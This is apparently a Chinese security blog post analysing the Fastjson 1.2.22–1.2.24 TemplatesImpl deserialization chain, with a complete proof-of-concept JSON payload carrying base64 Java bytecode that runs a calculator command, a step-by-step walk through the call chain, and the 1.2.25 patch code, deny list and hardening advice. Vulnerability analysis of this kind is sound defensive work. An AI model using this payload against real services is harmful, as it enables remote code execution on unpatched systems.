入坑系列第三篇,Fastjson TemplatesImpl利用链分析,当Feature.SupportNonPublicField设置时,反序列化调用getOutputProperties方法实例化恶意类导致命令执行。主要是Fastjson 1.2.22 —— 1.2.24版本的利用方式,除此之外,在这个版本里还有一条JNDI的利用链,等着下一篇分析。真的是越分析越嗨皮,一直分析一直爽。
Fastjson TemplatesImpl 利用链
影响范围
Fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,之后的版本引入了autoType的黑白名单机制。在Fastjson 1.2.22 — 1.2.24 版本的反序列化漏洞利用,主要有以下两种已知利用链
- TemplateImpl
- JNDI
这次主要分析TemplateImpl利用链,下篇开坑JNDI
漏洞复现
限制条件
Feature.SupportNonPublicField
需要开启,因为_bytecodes
和 _outputProperties
两个关键属性是私有的
复现
具体PoC构造我会上传的Repo里,这里执行代码后成功执行命令,弹出计算器
PoC分析
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoACAAlCgAmACcIACgKACYAKQgAKgcAKwoABgAlBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB5MY2MvYmxiYW5hL0Zhc3Rqc29uL0ZKUGF5bG9hZDsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAB3BheWxvYWQBAApTb3VyY2VGaWxlAQAORkpQYXlsb2FkLmphdmEMAAkACgcALwwAMAAxAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAMgAzAQAEY2FsYwEAHGNjL2JsYmFuYS9GYXN0anNvbi9GSlBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAgAAAAAAAQAAQAJAAoAAgALAAAATQACAAEAAAAXKrcAAbgAAhIDtgAEV7gAAhIFtgAEV7EAAAACAAwAAAASAAQAAAAMAAQADQANAA4AFgAPAA0AAAAMAAEAAAAXAA4ADwAAABAAAAAEAAEAEQABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAOAA8AAAAAAAEAFAAVAAEAAAABABYAFwACABAAAAAEAAEAGAABABIAGQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGQANAAAAKgAEAAAAAQAOAA8AAAAAAAEAFAAVAAEAAAABABoAGwACAAAAAQAcAB0AAwAQAAAABAABABgACQAeAB8AAgALAAAAQQACAAIAAAAJuwAGWbcAB0yxAAAAAgAMAAAACgACAAAAHAAIAB0ADQAAABYAAgAAAAkAIAAhAAAACAABACIADwABABAAAAAEAAEAEQABACMAAAACACQ="],'_name':'a.b','_tfactory':{},"_outputProperties":{},"_name":"a","allowedProtocols":"all"} |
后面会详细分析整个利用链的调用过程,先来分析下PoC里的关键key:
- @type :用于存放反序列化时的目标类型,这里指定的是TemplatesImpl,Fastjson最终会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入
Feature.SupportNonPublicField
在parseObject中才能触发; - _bytecodes:继承
AbstractTranslet
类的恶意类字节码,并且使用Base64
编码 - _name:调用
getTransletInstance
时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程; - _tfactory:
defineTransletClasses
中会调用其getExternalExtensionsMap
方法,为null会出现异常; - outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其
getOutputProperties
方法,导致bytecodes
字节码成功实例化,造成命令执行。
漏洞详情
漏洞分析
TemplatesImpl.getOutputProperties()
这次分析从后向前看,先来分析下TemplateImpl实例化后是如何执行命令的,先放上调用链:
1 | TemplatesImpl() -> getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> newInstance() |
在TemplatesImpl类实例化后,会依次将其属性实例化并set到TemplatesImpl实例中,到了_outputProperties属性时会调用其getOutputProperties()
方法,其中调用了newTransformer()
方法
1 | public synchronized Properties getOutputProperties() { |
newTransformer()
中会调用getTransletInstance()
方法,继续跟进一下
1 | public synchronized Transformer newTransformer() |
其中有两个关键的方法,defineTransletClasses()
和 newInstance()
,后者就不用多说了,实例化_class[_transletIndex]
中的Class,主要看一下前者是怎么把恶意类带到数组中去的
跟进defineTransletClasses()
方法,其中调用了defindClass
方法处理恶意类FJPayload
的字节码,根据Java官方文档可以知道,defindClass
可以从byte[]还原出一个Class对象,成功帮我们把字节码还原为了FJPayload Class
并放入到了_class[]数组中
回到getTransletInstance()
方法后,成功调用newInstance()
反射实例化恶意类,成功执行命令
以上是整个TemplatesImpl链的核心过程,下面继续分析下,Fastjson中是如何把这个类实例化出来的,并调用到getOutputProperties()
方法的。
TemplatesImpl反序列化
上篇文章已经分析过Object反序列化流程了,这里主要分析下这条链里核心的地方。首先获取第一个key值为@type
根据key为默认的JSON.DEFAULT_TYPE_KEY
并且Feature.DisableSpecialKeyDetect
选项未开启,根据key从json字符串中解析出类名,并获取其Class对象到clazz中
获取反序列化器JavaBeanDeserializer
,开始进行反序列化
在JavaBeanDeserializer
中会先根据偏移找到下一个要解析的key值_bytecodes
,然后将之前获取到的TemplatesImpl Class
对象进行实例化,获取对象object
获取到TemplatesImpl
对象和第一个字段名_bytecodes
进入到this.parseField
开始解析属性,选取字节数组的反序列化器解析字段,将获取到的value
通过field.set
加入到object
中间的属性是同样的方式进行反序列化,直接跳到_outputProperties
属性,进入到JavaBeanDeserializer.parseField
方法
根据其类型在this.sortedFieldDeserializers
中找到了符合条件的反序列化器
调用fieldDeserializer
解析该字段,可以看到在fieldInfo
中已经包含了关键的getOutputProperties Method对象
这里可能会有疑问,为什么_outputProperties key会关联到,outputProerties的getter,这里主要是因为smartMatch中有一些特殊处理,具体分析下面会单独讲到
继续跟进由于该字段类型为1所示,使用2的Map类型反序列化器,对其反序列化获取value
获取到value后,进入到this.setValue
中进行set值操作,先从刚刚提到的fieldInfo
中获取到了getOutputProperties Method对象,然后反射调用方法,进入TemplatesImpl.getOutputProperties()方法,之后流程就跟上个部分分析的一致了
调用链
这里贴上整个过程中的调用链,画出了核心的几个方法,有兴趣的自己可以跟一下
PoC细节
接下来就是一些PoC构造的细节分析,直接决定了能否成功触发
1. _bytecodes 为什么进行Base64编码 ?
Fastjson在调用ObjectArrayCodec.deserialze
中,调用parser.parseArray
方法对字节数组进行解析
获取反序列化器进行反序列化操作,在lexer.bytesValue
会有一次Base64解码操作
2. this.sortedFieldDeserializers和this.extraFieldDeserializers两组List区别
先看下FieldDeserializers
是存放了各个属性的反序列化器,其中主要属性和方法:
fieldInfo
存放属性名,属性getter/setter,Field对象等信息;clazz
存放属性所属类的Class对象parseField()
根据fieldType获取对应的fieldValueDeserilizer完成对属性值的反序列化 和 赋值操作
this.sortedFieldDeserializers
sortedFieldDeserializers
存放的属性主要来源于beanInfo,在beanInfo的build方法中会将setter/getter符合条件的FieldInfo增加到beanInfo.sortedFields中。其中的FieldInfo都包含了Method对象,最终都通过Method.invoke()进行赋值;this.extraFieldDeserializers
extraFieldDeserializers
会将getDeclaredFields
符合修饰符条件的Field增加进去。
FieldInfo Method对象为空,最终都通过Field.set()进行赋值;
1 | ConcurrentHashMap extraFieldDeserializers = new ConcurrentHashMap(1, 0.75F, 1); |
3. 为什么反序列化会调用getOutputProperties
方法
outputProperties 关联 getOutputProperties
setter和getter的选择条件,上篇已经提过在获取到Class所有的Fields和Methods后,会按照一些条件进行筛选,获取到getOutputProperties
方法,根据方法名获取属性名,将Method对象整理到FieldInfo,最终到了sortedFieldDeserializers
中
4. _outputProperties
为什么会关联调用getOutputProperties
方法
_outputProperties 处理为 outputProperties
在smartMatch
中会根据key值outputProperties从sortedFieldDeserializers中选择对应属性的反序列化器,第一轮未匹配到时,会自动去掉 “_” 再次获取
最终在sortedFieldDeserializers中找到了问题3中关联的getOutputProperties
方法
5. 为什么要继承AbstractTranslet
类 ?
defineTransletClasses
中会对bytecodes的类进行判断,父类为AbstractTranslet
时会给transletIndex赋值为0,默认为-1,不是AbstractTranslet
子类导致异常
安全修复
补丁分析
根据官方公告在1.2.25版本之后加入了黑白名单机制,这里跟进分析一下
在DefaultJSONParser.parseObject中将加载类的TypeUtils.loadClass
方法替换为了this.config.checkAutoType()
方法
1.2.25版本中默认情况下,autoTypeSupport为false(即默认使用白名单);autoTypeSupport为true时,黑名单存在绕过风险。
TemplatesImpl利用链会在进入到checkAutoType后被denyList中的黑名单匹配到抛出异常。
autoTypeSupport
为false
,先过黑名单过滤,再过白名单过滤,若白名单匹配到就加载此类,否则会报错;这种情况下相对安全一些,黑白名单都未匹配的情况下,会抛出异常。config.setAutoTypeSupport(true)
修改autoTypeSupport
为true
,先过白名单过滤,若白名单匹配到就加载此类,否则进入黑名单;这种情况下,如果黑白名单都未过滤,会被TypeUtils.loadClass
加载。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
// 为true时,若白名单未过滤,黑名单未过滤,都会在这里完成类加载
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
// 为false时,若黑名单未过滤,白名单未过滤,在这里会抛出异常
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
1.2.25黑名单列表
1 | ['bsh', |
修复方案
- 1.2.28/1.2.29/1.2.30/1.2.31或者更新版本
- 使用白名单过滤,避免黑名单被绕过
安全编码
添加autotype白名单
1 | // 多个包名前缀,分多次addAccept |
autotype功能
- 默认情况下基于白名单进行过滤,黑白名单都未过滤到时,会抛出异常
- 打开后基于内置的黑名单实现检测,黑白名单未过滤到时,会被加载存在一定风险。后续Fastjson大多都是围绕黑名单绕过展开的。
1 | // JVM启动参数 |
添加autotype黑名单
1 | // xx.xxx是包名前缀,如果有多个包名前缀,用逗号隔开 |
总结
根据廖大神博客提到的,由于Feature.SupportNonPublicField
是1.2.22版本引入,1.2.25加入了黑白名单机制,这个PoC作用版本就在1.2.22和1.2.24内。
这篇主要分析了TemplatesImpI利用链,在这个版本后,Fastjson引入了黑白名单机制,之后的问题基本就都是和黑白名单斗智斗勇的时候了。下一篇分析JDBCRowSetlmpl利用链。
Logs
- Fastjson 1.2.24 2017年开始发现反序列化漏洞,官方发布升级公告
- Fastjson 1.2.25 加入黑白名单机制
- TemplatesImpI
- JDBCRowSetlmpl
- 各类绕过黑名单